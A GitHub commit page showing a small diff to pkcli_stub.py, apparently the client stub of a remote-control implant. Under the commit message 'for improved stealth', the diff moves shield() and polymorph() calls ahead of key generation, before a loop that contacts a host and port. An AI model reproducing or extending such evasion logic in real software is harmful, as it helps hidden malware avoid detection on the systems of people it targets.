Skip to content

Commit

Permalink
Fork before performing key generation for improved stealth
Browse files Browse the repository at this point in the history
  • Loading branch information
cflems committed Dec 18, 2023
1 parent 08d8b74 commit 5f2a310
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions pkcli_stub.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,13 +35,14 @@ def main():
ha, port = ha.split(':')
port = int(port)

print('working')
print('forking')
shield()
polymorph()

p,q,n,e,d = Crypto.keygen(bits=bits)
privkey = { 'n': n, 'd': d }
refresh_hdb()
print('done')
shield()
polymorph()

while True:
if not work(ha, port, privkey, bits=bits):
Expand Down

0 comments on commit 5f2a310

Please sign in to comment.